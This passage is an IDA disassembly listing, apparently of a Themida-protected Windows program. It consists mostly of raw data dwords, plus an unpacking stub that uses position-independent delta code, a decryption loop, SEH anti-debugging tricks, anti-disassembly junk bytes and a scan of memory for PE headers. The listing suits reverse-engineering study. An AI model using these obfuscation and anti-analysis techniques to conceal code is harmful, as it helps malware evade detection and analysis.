77FC50h, 5 dup(0) dd 0B1000000h, 6Fh, 4 dup(0) dd 0BA000000h, 58A7h, 13h dup(0) dd 0DD0h, 3 dup(0) dd 0DF000000h, 0A9C530h, 3 dup(0) dd 0CE000000h, 9EF75EE5h, 39CD8Eh, 6 dup(0) dd 0BF000000h, 369DE5h, 5 dup(0) dd 0B8000000h, 0E002496Ch, 8055E9h, 7 dup(0) dd 23000000h, 0E5DF00h, 0Bh dup(0) dd 17000000h, 0FFFBFFh, 0B0000000h, 201E0FFh, 2 dup(0) dd 14000000h, 0E00h, 3 dup(0) dd 0E7000000h, 0A4A5h, 0 dd 77E600h, 2 dup(0) dd 79000000h, 0A9005780h, 596Dh, 0Ah dup(0) dd 4D000000h, 0AA0056ECh, 0FFA686h, 9 dup(0) dd 8B000000h, 5780h, 3 dup(0) dd 0EF000000h, 2977E793h, 5A66h, 4 dup(0) dd 200h, 9A000000h, 9F0Ah, 4 dup(0) dd 74000000h, 7FFE02h, 8 dup(0) dd 39000000h, 219151h, 0 dd 1000000h, 4 dup(0) dd 28000000h, 5A7Eh, 2 dup(0) dd 25B00h, 3 dup(0) dd 36000000h, 363636h, 7 dup(0) dd 84000000h, 0F39EEF13h, 15FF5F96h, 5809D9h, 0 dd 0DF000000h, 0A9C530h, 2 dup(0) dd 4000000h, 7FFE03h, 0 dd 0D9000000h, 0B000037h, 77F518h, 6 dup(0) dd 4000000h, 7FFE03h, 0B1000000h, 400006Fh, 7FFE03h, 2 dup(0) dd 68000000h, 77E83Eh, 6 dup(0) dd 23000000h, 5B74h, 5 dup(0) dd 4A028D00h, 548Dh, 3 dup(0) dd 79000000h, 5780h, 0 dd 0B0000000h, 0CA00A06Ch, 245DA2h, 0Bh dup(0) dd 0D8000000h, 77E805h, 5 dup(0) dd 0CE000000h, 0F75EE5h, 5 dup(0) dd 0F7000000h, 0A009h, 2 dup(0) dd 0E5000000h, 1024903h, 0A000000h, 5AA7h, 0E8000000h dd 1A01h, 4000000h, 450000A6h, 0A031h, 5C000000h, 1000221h dd 0 dd 0D4000000h, 5AE3h, 2 dup(0) dd 0B7000000h, 88h, 2 dup(0) dd 370h, 4 dup(0) dd 0E3000000h, 0F0FEF1B8h, 7F3h, 2 dup(0) dd 54000000h, 0AF005853h, 5E67FEE5h, 7077E7ACh, 5821h dd 0 dd 0E2000000h, 900001F3h, 8 dup(0) dd 4000000h, 0 dd 0FF000000h, 1F64E4h, 0 dd 9000000h, 5809h, 0D8000000h, 98000001h, 5 dup(0) dd 0DD000000h, 7800A069h, 0Fh, 3 dup(0) dd 2C000000h, 0FFFFA6h, 3 dup(0) dd 5B000000h, 3, 3 dup(0) dd 0DA000000h, 5931h, 2 dup(0) dd 0AE000000h, 5810h, 0 dd 0DD000000h, 0D500A069h, 86E00Fh, 2 dup(0) dd 54000000h, 12FFh, 3 dup(0) dd 25C00h, 43000000h, 49575C3Ah, 574F444Eh, 79535C53h dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h dd 39h dup(0) dd 0C6000000h, 0DD9C32h, 84h dup(0) dd 1000000h, 0B0000000h, 1F0150FFh, 342234h, 0 dd 8D000000h, 95F38Dh, 95000000h, 0A499h, 19000000h, 23B956h dd 0 dd 0F5000000h, 5B76h, 7 dup(0) dd 0DF000000h, 21A9C530h, 212121h, 5 dup(0) dd 2B000000h, 0 dd 1000000h, 0DE000000h, 6FFFFEh, 9F00h, 4 dup(0) dd 94000000h, 0FFA778h, 3 dup(0) dd 0CF000000h, 0F2FFFFCFh, 57BFh, 0CE000000h, 2496Bh, 5 dup(0) dd 0D1000000h, 573189h, 3 dup(0) dd 60000000h, 12FFh, 0A7000000h, 41E7FFh, 15h dup(0) dd 0A9000000h, 6B16FDh, 9F00B700h, 0A000568Dh, 5BAAFF95h dd 2Dh, 5 dup(0) dd 50000000h, 0FE5F00h, 3 dup(0) dd 0B4000000h, 0FFFF90h, 9D000000h, 16B36851h, 0DFF75EE4h dd 0A9C530h, 5 dup(0) dd 0B0000000h, 0A06Ch, 3 dup(0) dd 89000000h, 0DF8693h, 4 dup(0) dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0B3h dup(0) dd 79000000h, 2A005780h, 0B5000000h, 1477E75Ch, 5ACFh dd 3 dup(0) dd 4000000h, 591Ah, 0 dd 9A000000h, 77DD18h, 0 dd 0DE000000h, 0FEF879h, 3 dup(0) dd 0A3000000h, 0FFA862h, 5B000000h, 2Dh, 2 dup(0) dd 3F000000h, 5857h, 4 dup(0) dd 99000000h, 977E7A0h, 93005809h, 9300A093h, 400A093h dd 7FFE03h, 2 dup(0) dd 5000000h, 6FF9FEh, 44000000h, 5A5Ah, 79000000h, 1A6BEFh dd 12h dup(0) dd 7C000000h, 0 dd 8C000000h, 790057B4h, 5780h, 0 dd 62000000h, 1EEF9762h, 0AF005AB6h, 0E75DF3h, 0 dd 0B5000000h, 5A5Ch, 2 dup(0) dd 0E0000000h, 0BF0012FFh, 4FAEB5h, 0DA000000h, 981E0Ah dd 3 dup(0) dd 1000000h, 2 dup(0) dd 4000000h, 0A6h, 2 dup(0) dd 54000000h, 60009FD5h, 4A8BD68Bh, 5ACAh, 9 dup(0) dd 6F000000h, 53EEh, 2 dup(0) dd 0F0000000h, 6DF980h, 30h dup(0) dd 0CE000000h, 0F75EE5h, 4 dup(0) dd 0E8000000h, 0A123h, 0 dd 1000000h, 0 dd 5D000000h, 579Dh, 4 dup(0) dd 2B000000h, 77F51Bh, 0FF000000h, 33FFFFFFh, 2 dup(33333333h) dd 0DD333333h, 8200A069h, 77E78Bh, 7 dup(0) dd 6000000h, 596Eh, 8 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 1C10h, 2000000h, 0 dd 54000000h, 54005844h, 696D6568h, 6164h, 21h dup(0) dd 7000000h, 31005723h, 30h, 7 dup(0) dd 25A00h, 6 dup(0) dd 0FC000000h, 0FFA532h, 40000000h, 58E9h, 0 dd 0DD000000h, 0D77FFEFDh, 2377DD23h, 0FF5F96h, 3 dup(0) dd 7000000h, 0FFA887h, 1000000h, 7439Bh, 0A000000h, 5790h dd 0 dd 74000000h, 0E0005A5Ah, 0F5723Ah, 0AE00h, 2 dup(0) dd 74000000h, 900BD0h, 9 dup(0) dd 91000000h, 5ACFh, 0 dd 0AD000000h, 0C5h, 4D000000h, 0C54D6Dh, 3 dup(0) dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0) dd 1000000h, 2 dup(0) dd 400h, 2 dup(0) dd 0F7000000h, 0F6A2B9h, 30000000h, 0A6h, 4 dup(0) dd 0B5000000h, 77E75Ch, 0 dd 0A000000h, 0FF00A08Ch, 0F7FFFFh, 37000000h, 68005992h dd 23Eh, 5 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 96000000h, 578Fh, 2 dup(0) dd 0F1000000h, 5ADEh, 8 dup(0) dd 68000000h, 99009FB1h, 4700A094h, 53F0h, 0 dd 0E8000000h, 81000003h, 8Bh, 3 dup(0) dd 60000000h, 12FFh, 2 dup(0) dd 27000000h, 2400540Ch, 242424h, 0 dd 0E8000000h, 3700000Ah, 0F900A0A0h, 5778h, 3 dup(0) dd 4000000h, 7FFE03h, 5 dup(0) dd 25900h, 8 dup(0) dd 9000000h, 5809h, 7 dup(0) dd 0DD000000h, 2200A069h, 22222222h, 222222h, 4 dup(0) dd 4B000000h, 5941h, 0 dd 0D8000000h, 26004001h, 0C8h, 0 dd 4000000h, 0Fh, 0Dh dup(0) dd 60000000h, 0A115h, 0 dd 0F000000h, 0A0A0h, 5 dup(0) dd 37000000h, 0FF77E7A8h, 0A0AAh, 0 dd 89000000h, 5B15h, 0 dd 0B1000000h, 6Fh, 2 dup(0) dd 0FE000000h, 5934h, 7 dup(0) dd 3C000000h, 1C5h, 1000000h, 0 dd 2C000000h, 5Ch, 2 dup(0) dd 37000000h, 0A09Ch, 0 dd 0E0000000h, 5 dup(0) dd offset dword_525048+10Bh dd 0 dd 0F9000000h, 40005978h, 76B41Bh, 8 dup(0) dd 40000000h, 0A5005427h, 57E8h, 51000000h, 0FE989Dh, 2 dup(0) dd 0DD000000h, 0A069h, 59000000h, 60554528h, 4501h, 0 dd 35000000h, 0DA411211h, 0A47475B8h, 7 dup(0) dd 0F8000000h, 9F00h, 18h dup(0) dd 4000000h, 7FFE03h, 0B1000000h, 0FC00006Fh, 5929h, 2000000h dd 0 dd 0D8000000h, 0FFA80Bh, 4000000h, 7FFE03h, 44000000h dd 77E7A1h, 0BC000000h, 1100581Ah, 5111111h, 0FEFFA756h dd 0FE1F64E5h, 0B0A1h, 9000000h, 5809h, 2000000h, 0ED000000h dd 5722h, 4000000h, 0FFA725h, 23000000h, 0A1005700h, 6BCB18h dd 2 dup(0) dd 74000000h, 5D7BC2h, 0E9000000h, 400h, 4010h, 0E2000000h dd 8A0FB5h, 5 dup(0) dd 0B2000000h, 0F03A0BFEh, 1B2FFh, 0B4000000h, 3F7E6EFCh dd 400596Eh, 3, 77DD00h, 3 dup(0) dd 0FB000000h, 910000ACh, 0CA2250h, 6 dup(0) dd 0F4000000h, 3, 0A3000000h, 5A78h, 0B1000000h, 6Fh, 4 dup(0) dd 2000000h, 59000000h, 0C47FA99Eh, 430012FFh, 53FFADh dd 0 dd 9A000000h, 16h, 0 dd 0A5000000h, 0FFAD00h, 70000000h, 53EEh, 3 dup(0) dd 0F4000000h, 0E64374h, 2 dup(0) dd 0B1000000h, 0FFFFFFh, 34000000h, 14h, 3 dup(0) dd 36000000h, 5423h, 5 dup(0) dd 30000000h, 0A6h, 3 dup(0) dd 97000000h, 5A7Ch, 4 dup(0) dd 56000000h, 49005979h, 6C13A8B9h, 0FFFFA2h, 37000000h dd 77E7A8h, 3 dup(0) dd 6A000000h, 5977D4C9h, 0BE1800h, 2 dup(0) dd 2B000000h, 77F51Bh, 39000000h, 0F0000000h, 57BDh, 0 dd 37000000h, 77E7A8h, 6 dup(0) dd 79000000h, 4005780h, 7FFE03h, 0DD000000h, 0A069h, 2 dup(0) dd 0FC000000h, 8001FCh, 7 dup(0) dd 26000000h, 200000C8h, 1069h, 0FC000000h, 0FFFFFCh, 0 dd 99000000h, 0CF00A094h, 144F2Bh, 0B5000000h, 77E75Ch dd 4 dup(0) dd 66000000h, 541Eh, 3 dup(0) dd 2E000000h, 0A028D07h, 0A08Ch, 0Dh dup(0) dd 37000000h, 75BE78h, 0AC000000h, 0E200005Ah, 0B5h, 3 dup(0) dd 70000000h, 70h, 8 dup(0) dd 0C0000000h, 0D6BA66h, 6 dup(0) dd 0B1000000h, 0AC00006Fh, 0FFED00h, 0FE000000h, 0D15F727Ch dd 7, 9 dup(0) dd 0DD000000h, 0A069h, 0Ch dup(0) dd 0F9000000h, 5F000078h, 0FEBAC0h, 3 dup(0) dd 0AC000000h, 0FFFF5Bh, 0 dd 0BD000000h, 82EC04h, 2 dup(0) dd 5600h, 3 dup(0) dd 0FD000000h, 777FFFh, 2 dup(0) dd 5F000000h, 82005B3Fh, 177E78Bh, 0Ah dup(0) dd 36000000h, 56A0h, 0 dd 0EF000000h, 264EEh, 1Bh dup(0) dd 4000000h, 88000000h, 0FFFF96h, 68000000h, 0FFFFA2h dd 3 dup(0) dd 82000000h, 29546CDAh, 2700009Ch, 0FD00000Ch, 77E7A5h dd 4 dup(0) dd 88000000h, 5725h, 0 dd 8000000h, 0C41321h, 7 dup(0) dd 0A0000000h, 3, 0E0000000h, 0FFEF96h, 0Dh dup(0) dd 88000000h, 4 dup(0) dd 3F000000h, 77E7A1h, 0F8000000h, 9F00h, 2 dup(0) dd 477F500h, 7FFE03h, 24000000h, 77FC50h, 6 dup(0) dd 68000000h, 5795h, 5 dup(0) dd 0B2000000h, 4D6473h, 70000000h, 0FE2D79h, 3 dup(0) dd 8B000000h, 6861C0h, 0 dd 0FE000000h, 4F75E09h, 7FFE03h, 4000000h, 7FFE03h, 56000000h dd 5979h, 5 dup(0) dd 34000000h, 0A092h, 5 dup(0) dd 8C000000h, 3 dup(0) dd 0E8000000h, 4466Ch, 0 dd 0FE000000h, 88FFFFFFh, 56EE79h, 8 dup(0) dd 49000000h, 0F499217Dh, 7900009Ah, 0F1A6BEFh, 0A0A0h dd 1000000h, 6 dup(0) dd 2A000000h, 5152D7h, 0C8000000h, 80000000h, 0D4000000h dd 5AE3h, 6 dup(0) dd 0AC000000h, 51FFED00h, 26E03Eh, 3 dup(0) dd 0C000000h, 24100h, 10000000h, 84h, 86000000h, 77E7C4h dd 2 dup(0) dd 8D000000h, 805B8Dh, 0C8000000h, 8100005Ch, 634DA19Fh dd 77E779h, 0DB000000h, 350EA3h, 3F000000h, 0FFA7F2h, 0B0000000h dd 800190FFh, 0Eh, 18000000h, 0A4825A44h, 0F70012FFh, 0F6A2B9h dd 9000000h, 95D46h, 0 dd 64000000h, 5935h, 24100h, 0E3000000h, 0AD3B0h, 0 dd 0E7000000h, 0FF003F00h, 535D37h, 1Dh dup(0) dd 0FF000000h, 0FFFFFFh, 0 dd 3D000000h, 4112BFh, 0F000000h, 77F52Eh, 4000000h, 7FFE03h dd 2B000000h, 77F51Bh, 3 dup(0) dd 0F1000000h, 0FF5F5Fh, 3 dup(0) dd 0F000000h, 4FFA521h, 0D87FFE03h, 0A27Fh, 2 dup(0) dd 4E000000h, 85350Dh, 0 dd 3CCh, 55000000h, 48D05AAEh, 4A3455h, 3 dup(0) dd 5C000000h, 0FFED00h, 3 dup(0) dd 58000000h, 59B6h, 3 dup(0) dd 7E000000h, 0BB6269h, 9 dup(0) dd 70000000h, 68000000h, 2FFFFA2h, 3 dup(0) dd 0DC000000h, 5B000000h, 3D00A091h, 0AEh, 0Dh dup(0) dd 0B0000000h, 0FFh, 4 dup(0) dd 81000000h, 5807h, 2 dup(0) dd 0B1000000h, 7900006Fh, 1A6BEFh, 4 dup(0) dd 0D3000000h, 6003AA0Fh, 0FFA871h, 3 dup(0) dd 4000000h, 7FFE03h, 0 dd 4000000h, 7FFE03h, 8 dup(0) dd 0AC000000h, 0A29Bh, 3 dup(0) dd 0FC000000h, 8001FCh, 72000000h, 58C9h, 10h, 3 dup(0) dd 0D1000000h, 3400597Ah, 0B500A2B1h, 75h, 4000000h, 67FFE03h dd 5 dup(0) dd 0DD000000h, 0A069h, 0BB000000h, 77E7FAh, 2 dup(0) dd 1000000h, 0C9000000h, 191C25B4h, 50000000h, 377CEDh dd 4 dup(0) dd 33000000h, 0FFFE0Eh, 65000000h, 25B155h, 5 dup(0) dd 38000000h, 2 dup(0) dd 60000000h, 0A115h, 0D2000000h, 6, 7 dup(0) dd 33000000h, 881889h, 0 dd 44000000h, 77E7A1h, 0A8000000h, 38000000h, 41D5h, 2 dup(0) dd 26000000h, 0EEA48Fh, 0 dd 91000000h, 5AA5h, 2Ah dup(0) dd 3B000000h, 53F6h, 12h dup(0) dd 0B1000000h, 6Fh, 2 dup(0) dd 6Fh, 3 dup(0) dd 4000000h, 0 dd 28000000h, 0FFFFFFh, 2 dup(0) dd 4000h, 5 dup(0) dd 30000000h, 312D34h, 2 dup(0) dd 0F9000000h, 5778h, 0F000000h, 5A90h, 0Bh dup(0) dd 48000000h, 0FFA670h, 64000000h, 0A115h, 2 dup(0) dd 3B000000h, 0EFCE3Dh, 0B8000000h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00A0h, 424448Bh dd 0E0FFh, 12h dup(0) dd 60000000h, 12FFh, 0 dd 4000000h, 7FFE03h, 0DC000000h, 0FFFFA2h, 79000000h dd 5780h, 0 dd 0CC000000h, 0A4FEF893h, 8 dup(0) dd 0B8000000h, 473B95h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541917: ; CODE XREF: start:loc_53E5CEj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 9353353h mov [ebp+9352689h], edx mov [ebp+9351049h], esi mov [ebp+9350AF9h], eax cmp dword ptr [ebp+9350315h], 0 jz short loc_54194F mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54194F: ; CODE XREF: start+6192Dj mov eax, [esp+40h+var_1C] mov [ebp+9352DD1h], eax push 45h call sub_541A03 push 783749Ah call sub_541A49 push 0A894B25h call sub_541A49 jmp loc_541B8D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541A03 proc near ; CODE XREF: start+61947p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 9353441h mov ebx, edx mov [ebp+var_28], 0 loc_541A1F: ; CODE XREF: sub_541A03+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_541A3E mov eax, [ebp+arg_0] mov [ebx+93533ABh], eax inc [ebp+arg_0] inc ebx jmp short loc_541A1F ; --------------------------------------------------------------------------- loc_541A3E: ; CODE XREF: sub_541A03+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_541A03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541A49 proc near ; CODE XREF: start+61951p start+6195Bp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 935348Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_541A6F: ; CODE XREF: sub_541A49+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_541A6F mov [ebp+var_84], 0 lea edi, [edx+93533ABh] lea esi, [ebp+var_80] loc_541A9F: ; CODE XREF: sub_541A49+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_541AAB: ; CODE XREF: sub_541A49+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_541AAB imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_541A9F popa leave retn 4 sub_541A49 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_541AE9 ; --------------------------------------------------------------------------- loc_541AE5: ; CODE XREF: Themida_:00541AECj inc dword ptr [ebp-4] inc esi loc_541AE9: ; CODE XREF: Themida_:00541AE3j cmp byte ptr [esi], 0 jnz short loc_541AE5 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_541B7A ; --------------------------------------------------------------------------- loc_541AFB: ; CODE XREF: Themida_:00541B7Dj mov dword ptr [ebp-8], 0 jmp short loc_541B71 ; --------------------------------------------------------------------------- loc_541B04: ; CODE XREF: Themida_:00541B75j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_541B5E ; --------------------------------------------------------------------------- loc_541B14: ; CODE XREF: Themida_:00541B62j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_541B36 cmp bl, 39h ja short loc_541B36 sub bl, 30h jmp short loc_541B58 ; --------------------------------------------------------------------------- loc_541B36: ; CODE XREF: Themida_:00541B2Aj ; Themida_:00541B2Fj cmp bl, 61h jb short loc_541B48 cmp bl, 66h ja short loc_541B48 sub bl, 61h add bl, 0Ah jmp short loc_541B58 ; --------------------------------------------------------------------------- loc_541B48: ; CODE XREF: Themida_:00541B39j ; Themida_:00541B3Ej cmp bl, 41h jb short loc_541B58 cmp bl, 46h ja short loc_541B58 sub bl, 41h add bl, 0Ah loc_541B58: ; CODE XREF: Themida_:00541B34j ; Themida_:00541B46j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_541B5E: ; CODE XREF: Themida_:00541B12j cmp dword ptr [ebp-0Ch], 2 jb short loc_541B14 cmp dword ptr [ebp-10h], 0 jbe short loc_541B6E mov eax, [ebp-10h] stosb loc_541B6E: ; CODE XREF: Themida_:00541B68j inc dword ptr [ebp-8] loc_541B71: ; CODE XREF: Themida_:00541B02j cmp dword ptr [ebp-8], 2 jb short loc_541B04 add edx, 4 loc_541B7A: ; CODE XREF: Themida_:00541AF9j cmp edx, [ebp-4] jb loc_541AFB ; CODE XREF: start+61BD7j mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541B8D: ; CODE XREF: start+61960j mov ecx, 7000h lea edi, [ebp+93535D0h] loc_541B98: ; CODE XREF: start+61B88j dec byte ptr [edi] inc edi dec ecx jnz short loc_541B98 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+93536ECh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bx, 0A513h push eax pusha call near ptr loc_541BDB+1 pop sp sub eax, 66581237h loc_541BDB: ; CODE XREF: start+61BBBp sub ebx, [eax+61h] pop ebx pusha call sub_541BF7 sbb eax, 0F5C62168h setalc jnp short near ptr loc_541B7D+3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 8Ch, 75h, 3 dd 0B90E24CEh db 27h, 0A4h, 40h ; =============== S U B R O U T I N E ======================================= sub_541BF7 proc near ; CODE XREF: start+61BCCp call near ptr loc_541C08+1 neg dword ptr ds:0DE91846Ah mov bl, 0ADh inc esi pop edx push ebp cmc loc_541C08: ; CODE XREF: sub_541BF7p and ebx, [edx+5Ah] sub_541BF7 endp ; sp-analysis failed js near ptr loc_541C1A+5 call near ptr loc_541C1A+4 xor cl, dl jnp short near ptr loc_541C2D+1 loc_541C1A: ; CODE XREF: Themida_:00541C11p ; Themida_:00541C0Bj fsub qword ptr ds:615A8534h sub eax, edx mov bx, ax and eax, 0FFFFF000h mov bx, cx loc_541C2D: ; CODE XREF: Themida_:00541C18j mov ecx, edx xor edi, edi loc_541C31: ; CODE XREF: Themida_:00541C4Cj cmp word ptr [eax], 5A4Dh jnz short loc_541C46 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_541C4E loc_541C46: ; CODE XREF: Themida_:00541C36j sub eax, 1000h inc edi jmp short loc_541C31 ; --------------------------------------------------------------------------- loc_541C4E: ; CODE XREF: Themida_:00541C44j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+93536FFh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_541C88 mov esi, [eax+1Ch] loc_541C88: ; CODE XREF: Themida_:00541C83j xor eax, eax loc_541C8A: ; CODE XREF: Themida_:00541C9Dj cmp eax, 32h jz short loc_541CAE cmp word ptr [esi], 5A4Dh jz short loc_541C9F loc_541C96: ; CODE XREF: Themida_:00541CACj sub esi, 10000h inc eax jmp short loc_541C8A ; --------------------------------------------------------------------------- loc_541C9F: ; CODE XREF: Themida_:00541C94j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_541CF0 jmp short loc_541C96 ; --------------------------------------------------------------------------- loc_541CAE: ; CODE XREF: Themida_:00541C8Dj pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- dw 8B51h dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h dd 0 aBa75Ne65Ib db ']│М',0Ah db '75',9,'█┘х65',9,'┴│╦',0 db 2 dup(0), 5Dh dd 0C3C03359h ; --------------------------------------------------------------------------- loc_541CF0: ; CODE XREF: Themida_:00541CAAj xchg eax, esi pop large dword ptr fs:0 add esp, 4 jnz loc_541D04 movsx ebx, cx loc_541D04: ; CODE XREF: Themida_:00541CFBj mov cx, ds clc and cl, 4 add ebx, 2CCBEBC9h or cl, cl jnz loc_541D37 pusha stc mov edx, 711EC4F0h popa mov dword ptr [ebp+9351C19h], 1 sbb ebx, 3C1A7845h jmp loc_541D65 ; --------------------------------------------------------------------------- db 0F5h ; --------------------------------------------------------------------------- loc_541D37: ; CODE XREF: Themida_:00541D13j mov dword ptr [ebp+9351C19h], 0 push 0 push eax call sub_541D4C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_541D4C proc near ; CODE XREF: Themida_:00541D44p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_541D4C endp ; --------------------------------------------------------------------------- dd 98C78BB8h, 0B9C1F71Ch db 20h ; --------------------------------------------------------------------------- loc_541D65: ; CODE XREF: Themida_:00541D31j mov [ebp+9350EC9h], eax jmp loc_541D7C ; --------------------------------------------------------------------------- dd 7280E7EFh, 7A6E1AD6h, 0AB9DA771h ; --------------------------------------------------------------------------- loc_541D7C: ; CODE XREF: Themida_:00541D6Bj jns loc_541D8D jmp loc_541D8D ; --------------------------------------------------------------------------- db 9Bh dd 6BB2441h db 0A1h ; --------------------------------------------------------------------------- loc_541D8D: ; CODE XREF: Themida_:loc_541D7Cj ; Themida_:00541D82j mov [ebp+935167Dh], eax call near ptr loc_541D99+5 pop edx loc_541D99: ; CODE XREF: Themida_:00541D93p mov byte ptr [eax+66F95F61h], 8Bh retf ; --------------------------------------------------------------------------- db 5Eh, 0Fh, 0B7h aBDk db 'н│ф╓k',0 dw 8100h dd 270D49F1h, 0FC02B76h, 34FFFAB7h, 0BE830h, 0CFE10000h dd 980036CDh, 0E16AA8FFh, 0EDC181EBh, 5953BCE5h, 0FABF0F5Ah dd 0C817EA81h, 0F607BE4h, 5E9C1B7h, 80000000h, 0E6052AE5h dd 8DC28161h, 66373A93h, 8171A7BBh, 0AA35F5C2h, 0FE8B6620h dd 66061489h, 0D181D88Bh, 3C880DA6h, 89F2E881h, 0CF816BBFh dd 41123E21h, 89EEC081h, 0AE86BBFh, 0BD000000h, 0C4F07D7Eh dd 4C88A67Eh, 5BCF8BB1h, 9504F881h, 850FFFFFh, 0FFFFFF7Eh dd 7E9h, 9614E500h, 0A628FD5Ch, 732E9h, 91BD8900h, 17093510h dd 1D000002h, 93532h, 958B6000h, 9352CB1h, 4C24A2BAh, 9606102h dd 3521F59Dh, 0B809h, 0BD890000h, 9351749h, 0C599589h dd 548B0935h, 8A0F2824h, 1, 7D8589F9h, 9093512h, 35003D95h dd 3CBE09h, 880F0000h, 0Ch, 6880Fh, 8F0F0000h, 0 dd 24247403h, 8E960h, 7FA70000h, 0BDE01BD0h, 95296CEBh dd 9352801h, 9E96061h, 58000000h, 4C029268h, 8EFBE533h dd 8258D31h, 66610935h, 8D0F60ADh, 6, 1065858Bh, 0B58B0935h dd 9353071h, 24440361h, 0EE924h, 91F90000h, 0F2FBE9F9h dd 0B30BA3BEh, 0EF6CCAC8h, 0B860F90h, 0E9000000h, 6, 0BCB4CD35h dd 0F5080B6h, 148Bh, 0FE900h, 10860000h, 183E06EEh, 408C90ABh dd 0D7C92806h, 666090D0h, 0E980B9B9h, 0Eh, 4621E8B4h, 8F149CC6h dd 4D34EDA1h, 0E9615D0Ch, 10h, 886B377Ch, 0FA2A381Bh, 34DCF5A4h dd 4F709B2h, 0F978408Bh, 29198D89h, 44030935h, 2B602824h dd 35235595h, 9B53309h, 6109351Ch, 0F18408Bh, 18Bh, 6040F800h dd 8E9h, 0D7EEA300h, 9530E71Fh, 0B58B52BBh, 93528CDh, 85896159h dd 9353881h, 0BE9h, 55E96B00h, 7C8EF382h, 0BF646DC8h, 68A0F58h dd 31000000h, 352D3D85h, 78708B09h, 0E870Fh, 9600000h dd 352D419Dh, 0C58D8909h, 6109351Ah, 0F51CC683h, 24247403h dd 12E9h, 0F7AB4D00h, 8588A506h, 586284CDh, 16EEE0D6h dd 8D0F7570h, 350571BDh, 6800F09h, 31000000h, 35117185h dd 0E9ADF509h, 9, 0E4BECD47h, 4E86B0C0h, 244403A2h, 0C8C0F24h dd 0F000000h, 682h, 21850100h, 0AB09352Eh, 2609B529h, 0BD8D0935h dd 9351D59h, 10299529h, 0FCAD0935h, 24244403h, 9E9F8h dd 0DD330000h, 9000FEB8h, 50A6F74Bh, 6880F60h, 0F000000h dd 86h, 1BEEBE00h, 89613F74h, 85292404h, 9350635h, 3D9D29ABh dd 8D09352Ch, 350A79BDh, 89ADFC09h, 3506D5BDh, 24440309h dd 10E928h, 0D1C00000h, 0F1B1B52Bh, 0E0DF749Eh, 5AA67011h dd 0FCAB4AB5h, 10E95Eh, 70370000h, 0DAC72D6Ch, 333106CBh dd 8FF29238h, 8DFF933Fh, 9353881h, 3881BD83h, 75000935h dd 2444C710h, 1Ch, 44B58D00h, 0FF09353Dh, 3AD56E6h, 97282444h dd 858ADF8Bh, 935179Dh, 474C084h, 